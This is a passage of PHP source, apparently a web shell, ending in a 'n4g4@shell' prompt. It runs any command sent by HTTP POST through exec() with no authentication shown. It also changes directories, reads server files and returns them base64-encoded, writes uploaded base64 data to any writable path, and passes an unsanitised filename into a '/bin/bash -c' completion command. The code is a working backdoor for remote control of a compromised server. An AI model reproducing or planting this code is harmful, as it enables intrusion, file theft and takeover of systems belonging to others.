&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); chdir($match[1]); } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); return featureDownload($match[1]); } else { chdir($cwd); exec($cmd, $stdout); } return array( "stdout" => $stdout, "cwd" => getcwd() ); } function featurePwd() { return array("cwd" => getcwd()); } function featureHint($fileName, $cwd, $type) { chdir($cwd); if ($type == 'cmd') { $cmd = "compgen -c $fileName"; } else { $cmd = "compgen -f $fileName"; } $cmd = "/bin/bash -c \"$cmd\""; $files = explode("\n", shell_exec($cmd)); return array( 'files' => $files, ); } function featureDownload($filePath) { $file = @file_get_contents($filePath); if ($file === FALSE) { return array( 'stdout' => array('File not found / no read permission.'), 'cwd' => getcwd() ); } else { return array( 'name' => basename($filePath), 'file' => base64_encode($file) ); } } function featureUpload($path, $file, $cwd) { chdir($cwd); $f = @fopen($path, 'wb'); if ($f === FALSE) { return array( 'stdout' => array('Invalid path / no write permission.'), 'cwd' => getcwd() ); } else { fwrite($f, base64_decode($file)); fclose($f); return array( 'stdout' => array('Done.'), 'cwd' => getcwd() ); } } if (isset($_GET["feature"])) { $response = NULL; switch ($_GET["feature"]) { case "shell": $cmd = $_POST['cmd']; if (!preg_match('/2>/', $cmd)) { $cmd .= ' 2>&1'; } $response = featureShell($cmd, $_POST["cwd"]); break; case "pwd": $response = featurePwd(); break; case "hint": $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']); break; case 'upload': $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']); } header("Content-Type: application/json"); echo json_encode($response); die(); } ?> n4g4@shell:~#